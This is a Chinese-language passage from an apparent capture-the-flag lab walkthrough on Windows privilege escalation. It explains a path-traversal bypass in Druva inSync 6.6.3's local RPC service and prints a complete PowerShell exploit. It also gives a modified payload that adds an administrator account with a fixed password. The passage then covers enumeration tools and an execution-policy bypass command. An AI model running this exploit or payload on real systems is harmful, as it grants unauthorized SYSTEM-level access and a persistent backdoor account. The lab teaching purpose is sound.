目标服务器正在运行 Druva inSync 6.6.3,据 Matteo Malvica 报告,该服务器容易受到权限升级的影响。该漏洞是由于对 Chris Lyne 最初针对 6.5.0 版本报告的另一个漏洞应用了错误补丁而导致的。 该软件容易受到攻击,因为它以系统权限在端口 6064 上运行 RPC(远程过程调用)服务器,只能从本地主机访问。如果您不熟悉 RPC,它只是一种允许给定进程通过网络公开函数(RPC 行话中称为过程)的机制,以便其他计算机可以远程调用它们。 对于 Druva inSync,端口 6064 上公开的过程之一(特别是过程号 5)允许任何人请求执行任何命令。由于 RPC 服务器以 SYSTEM 身份运行,因此任何命令都以 SYSTEM 权限执行。 6.5.0 及更早版本中报告的原始漏洞允许不受限制地运行任何命令。提供此类功能的最初想法是远程执行 inSync 提供的一些特定二进制文件,而不是任何命令。尽管如此,仍然没有进行任何检查来确保这一点。 发布了一个补丁,他们决定检查执行的命令是否以字符串 C:\ProgramData\Druva\inSync4\ 开头,即允许的二进制文件应该在的位置。但是,事实证明这还不够,因为您可以简单地进行路径遍历攻击来绕过这种控制。假设要执行C:\Windows\System32\cmd.exe,该文件不在允许的路径中;您可以简单地要求服务器运行 C:\ProgramData\Druva\inSync4……\Windows\System32\cmd.exe ,这将成功绕过检查。 为了构建一个可行的漏洞利用程序,我们需要了解如何与端口 6064 通信。幸运的是,我们使用的协议很简单,要发送的数据包如下图所示:

第一个数据包只是一个包含固定字符串的 hello 数据包。第二个数据包表明我们想要执行程序 5,因为这是一个易受攻击的程序,它将为我们执行任何命令。最后两个数据包分别用于发送命令的长度和要执行的命令字符串。 最初由 Matteo Malvica 在此发布,可以在目标计算机中使用以下漏洞来提升权限并检索此任务的标志。为了您的方便,以下是原始漏洞利用代码:
$ErrorActionPreference = "Stop"
$cmd = "net user pwnd /add"
$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
您可以弹出 Powershell 控制台并直接粘贴漏洞来执行它(该漏洞也可以在目标计算机中的 C:\tools\Druva_inSync_exploit.txt 中找到)。请注意,在 $cmd 变量中指定的漏洞利用的默认有效负载将在系统中创建一个名为 pwnd 的用户,但不会为其分配管理权限,因此我们可能希望更改有效负载以获取更有用的内容。对于这个房间,我们将更改有效负载以运行以下命令:
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add
这将创建密码为 SimplePass123 的用户 pwnd 并将其添加到管理员组中。如果利用成功,您应该能够运行以下命令来验证用户 pwnd 是否存在并且是管理员组的一部分:
PS C:\> net user pwnd
User name pwnd
Full Name
Account active Yes
[...]
Local Group Memberships *Administrators *Users
Global Group memberships *None
最后一步,您可以以管理员身份运行命令提示符:

7.其他工具
有几个脚本可以以类似于上一个任务中看到的方式进行系统枚举。这些工具可以缩短枚举过程时间并发现不同的潜在特权升级向量。但是,请记住,自动化工具有时可能会错过权限升级。 以下是一些常用于识别权限升级向量的工具。请随意针对这个房间中的任何机器运行它们,看看结果是否与讨论的攻击向量相匹配。
1.WinPEAS
WinPEAS 是一个开发用于枚举目标系统以发现权限提升路径的脚本。您可以找到有关 winPEAS 的更多信息并下载预编译的可执行文件或 .bat 脚本。 WinPEAS 将运行与上一个任务中列出的命令类似的命令并打印其输出。 winPEAS 的输出可能很长,有时难以阅读。这就是为什么最好始终将输出重定向到文件,如下所示:C:\> winpeas.exe > outputfile.txt
WinPEAS can be downloaded here.
2.PrivescCheck
PrivescCheck 是一个 PowerShell 脚本,用于搜索目标系统上的常见权限升级。它提供了 WinPEAS 的替代方案,无需执行二进制文件。 PrivescCheck 可在此处下载。 提醒:要在目标系统上运行 PrivescCheck,您可能需要绕过执行策略限制。为此,您可以使用 Set-ExecutionPolicy cmdlet,如下所示。·PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck
3.WES-NG: Windows Exploit Suggester – Next Generation
一些漏洞利用建议脚本(例如 winPEAS)将要求您将它们上传到目标系统并在那里运行它们。这可能会导致防病毒软件检测并删除它们。为了避免发出不必要的噪音来吸引注意力,您可能更喜欢使用 WES-NG,它将在您的攻击机器上运行(例如 Kali 或 TryHackMe AttackBox)。 WES-NG 是一个 Python 脚本,可以在此处找到并下载。 安装后,在使用之前,键入 wes.py –update 命令来更新数据库。该脚本将引用它创建的数据库来检查是否有缺失的补丁,这些补丁可能会导致您可以利用漏洞来提升您在目标系统上的权限。 要使用该脚本,您需要在目标系统上运行 systeminfo 命令。不要忘记将输出定向到您需要移动到攻击计算机的 .txt 文件。 完成后,wes.py 可以按如下方式运行;user@kali$ wes.py systeminfo.txt

